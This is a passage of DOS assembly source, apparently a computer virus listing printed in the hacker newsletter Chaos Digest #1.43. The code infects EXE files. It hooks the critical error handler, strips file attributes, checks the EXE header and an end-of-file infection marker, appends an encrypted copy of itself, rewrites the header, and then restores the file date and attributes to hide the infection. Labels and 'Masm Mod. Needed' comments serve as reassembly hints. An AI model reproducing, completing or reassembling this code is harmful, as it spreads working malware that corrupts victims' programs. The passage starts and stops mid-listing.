  894.    PUSH ES
  895.    PUSH DS
  896.    CALL CHECK_LETTERS_IN_FILENAME
  897.    JAE GOOD_NAME
  898.    JMP BAD_NAME
  899.  
  900. GOOD_NAME:
  901.    PUSH DX
  902.    PUSH DS
  903.    PUSH CS
  904.    POP DS
  905.  
  906. SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
  907.    MOV AX,03524
  908.    CALL INT_21
  909.    MOV W[09B8],BX            ;Masm Mod. Needed
  910.    MOV W[09BA],ES            ;Masm Mod. Needed
  911.    MOV AX,02524
  912.    MOV DX,052A
  913.    CALL INT_21
  914.    POP DS
  915.    POP DX
  916.  
  917. SAVE_AND_REPLACE_FILE_ATTRIBUTE:
  918.    MOV AX,04300
  919.    CALL INT_21
  920.    CS MOV W[09AA],CX         ;Masm Mod. Needed
  921.    JAE 06FE                  ;Masm Mod. Needed
  922.    JMP RESTORE_CRIT_HANDLER
  923.    MOV AX,04301
  924.    XOR CX,CX
  925.    CALL INT_21
  926.    JB 077C                   ;Masm Mod. Needed
  927.  
  928. OPEN_FILE_FOR_READ_WRITE:
  929.    MOV AX,03D02
  930.    CALL INT_21
  931.    JB 0771                   ;Masm Mod. Needed
  932.    PUSH DX
  933.    PUSH DS
  934.    PUSH CS
  935.    POP DS
  936.    MOV W[09A4],AX            ;Masm Mod. Needed
  937.  
  938. GET_FILEDATE:
  939.    MOV AX,05700
  940.    CALL 06B4                 ;Masm Mod. Needed
  941.    JB 075C                   ;Masm Mod. Needed
  942.    MOV W[09AC],DX            ;Masm Mod. Needed
  943.    MOV W[09AE],CX            ;Masm Mod. Needed
  944.  
  945. READ_AND_CHECK_EXE_HEADER:
  946.    CALL 06AD                 ;Masm Mod. Needed
  947.    MOV DX,0A49
  948.    MOV CX,01C
  949.    CALL 069A                 ;Masm Mod. Needed
  950.    JB 075C                   ;Masm Mod. Needed
  951.    PUSH DS
  952.    POP ES
  953.    MOV DI,0E8
  954.    MOV CX,020
  955.    CMP W[0A49],05A4D         ;Masm Mod. Needed
  956.    JNE 075C                  ;Masm Mod. Needed
  957.    MOV AX,W[0A5B]
  958.    CLD
  959.    REPNE SCASW
  960.    JNE 0754                  ;Masm Mod. Needed
  961.    OR W[09AE],01F            ;Masm Mod. Needed
  962.    JMP 075C                  ;Masm Mod. Needed
  963.    CALL READ_PAST_END_OF_FILE
  964.    JB 075C                   ;Masm Mod. Needed
  965.    CALL ENCRYPT_AND_WRITE_TO_FILE
  966.  
  967. RESTORE_ALTERED_DATE:
  968.    MOV AX,05701
  969.    MOV DX,W[09AC]
  970.    MOV CX,W[09AE]
  971.    CALL 06B4                 ;Masm Mod. Needed
  972.  
  973. CLOSE_THE_FILE:
  974.    MOV AH,03E
  975.    CALL 06B4                 ;Masm Mod. Needed
  976.  
  977. RESTORE_FILE_ATTRIBUTE:
  978.    POP DS
  979.    POP DX
  980.    MOV AX,04301
  981.    CS MOV CX,W[09AA]         ;Masm Mod. Needed
  982.    CALL INT_21
  983.  
  984. RESTORE_CRIT_HANDLER:
  985.    MOV AX,02524
  986.    CS LDS DX,[09B8]          ;Masm Mod. Needed
  987.    CALL INT_21
  988.  
  989. BAD_NAME:
  990.    POP DS
  991.    POP ES
  992.    POP DI
  993.    POP SI
  994.    POP DX
  995.    POP CX
  996.    POP BX
  997.    POP AX
  998.    RET
  999.  
  1000. CHECK_LETTERS_IN_FILENAME:
  1001.    PUSH DS
  1002.    POP ES
  1003.    MOV DI,DX
  1004.    MOV CX,-1
  1005.    XOR AL,AL
  1006.    CLD
  1007.    REPNE SCASB
  1008.    NOT CX
  1009.    MOV DI,DX
  1010.    MOV AX,04353
  1011.    MOV SI,CX
  1012.    SCASW
  1013.    JE 07B7             ;Masm Mod. Needed
  1014.    DEC DI
  1015.    LOOP 07A5           ;Masm Mod. Needed
  1016.    MOV CX,SI
  1017.    MOV DI,DX
  1018.    MOV AL,056
  1019.    REPNE SCASB
  1020.    JE 07B7             ;Masm Mod. Needed
  1021.    CLC
  1022.    RET
  1023.    STC
  1024.    RET
  1025.  
  1026. READ_PAST_END_OF_FILE:
  1027.    MOV CX,-1
  1028.    MOV DX,-0A
  1029.    CALL 06A8           ;Masm Mod. Needed
  1030.    MOV DX,0A65
  1031.    MOV CX,8
  1032.    CALL 069A           ;Masm Mod. Needed
  1033.    JB RET              ;Masm Mod. Needed
  1034.    CMP W[0A65],0FDF0   ;Masm Mod. Needed
  1035.    JNE 07F0            ;Masm Mod. Needed
  1036.    CMP W[0A67],0AAC5   ;Masm Mod. Needed
  1037.    JNE 07F0            ;Masm Mod. Needed
  1038.    MOV CX,-1
  1039.    MOV DX,-9
  1040.    CALL 06A8           ;Masm Mod. Needed
  1041.    MOV DX,0A6B
  1042.    MOV CX,4
  1043.    CALL 0696           ;Masm Mod. Needed
  1044.    RET
  1045.    CLC
  1046.    RET
  1047.  
  1048. ENCRYPT_AND_WRITE_TO_FILE:
  1049.    CALL MOVE_TO_END_OF_FILE
  1050.    MOV SI,AX
  1051.    MOV DI,DX
  1052.    MOV BX,0A49
  1053.    MOV AX,W[BX+4]
  1054.    MUL W[0D]           ;Masm Mod. Needed
  1055.    SUB AX,SI
  1056.    SBB DX,DI
  1057.    JAE 080C            ;Masm Mod. Needed
  1058.    JMP OUT_OF_ENCRYPT
  1059.    MOV AX,W[BX+8]
  1060.    MUL W[0B]           ;Masm Mod. Needed
  1061.    SUB SI,AX
  1062.    SBB DI,DX
  1063.    MOV AX,W[BX+0E]
  1064.    MOV W[4],AX         ;Masm Mod. Needed
  1065.    ADD W[4],010        ;Masm Mod. Needed
  1066.    MUL W[0B]           ;Masm Mod. Needed
  1067.    ADD AX,W[BX+010]
  1068.    SUB AX,SI
  1069.    SBB DX,DI
  1070.    JB 083C             ;Masm Mod. Needed
  1071.    SUB AX,080
  1072.    SBB DX,0
  1073.    JB RET              ;Masm Mod. Needed
  1074.    ADD W[BX+0E],09B
  1075.    MOV AX,W[BX+016]
  1076.    ADD AX,010
  1077.    MOV W[2],AX         ;Masm Mod. Needed
  1078.    MOV AX,W[BX+014]
  1079.    MOV W[0],AX         ;Masm Mod. Needed
  1080.    CALL 06A4           ;Masm Mod. Needed
  1081.    ADD AX,09A4
  1082.    ADC DX,0
  1083.    DIV W[0D]           ;Masm Mod. Needed
  1084.    INC AX
  1085.    MOV W[0A4D],AX      ;Masm Mod. Needed
  1086.    MOV W[0A4B],DX      ;Masm Mod. Needed
  1087.    MOV DX,DI
  1088.    MOV AX,SI
  1089.    DIV W[0B]           ;Masm Mod. Needed
  1090.    MOV W[0A5F],AX      ;Masm Mod. Needed
  1091.    MOV BX,DX
  1092.    ADD DX,0960
  1093.    MOV W[0A5D],DX      ;Masm Mod. Needed
  1094.    CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
  1095.    JB RET              ;Masm Mod. Needed
  1096.    OR W[09AE],01F      ;Masm Mod. Needed
  1097.    MOV BX,W[09BC]
  1098.    AND BX,01F
  1099.    SHL BX,1
  1100.    MOV AX,W[BX+0E8]
  1101.    MOV W[0A5B],AX       ;Masm Mod. Needed
  1102.    CALL MOVE_TO_BEGINNING_OF_FILE
  1103.    MOV CX,01C
  1104.    MOV DX,0A49
  1105.  
  1106. ------------------------------
  1107.  
  1108. End of Chaos Digest #1.43
  1109. ************************************
  1110.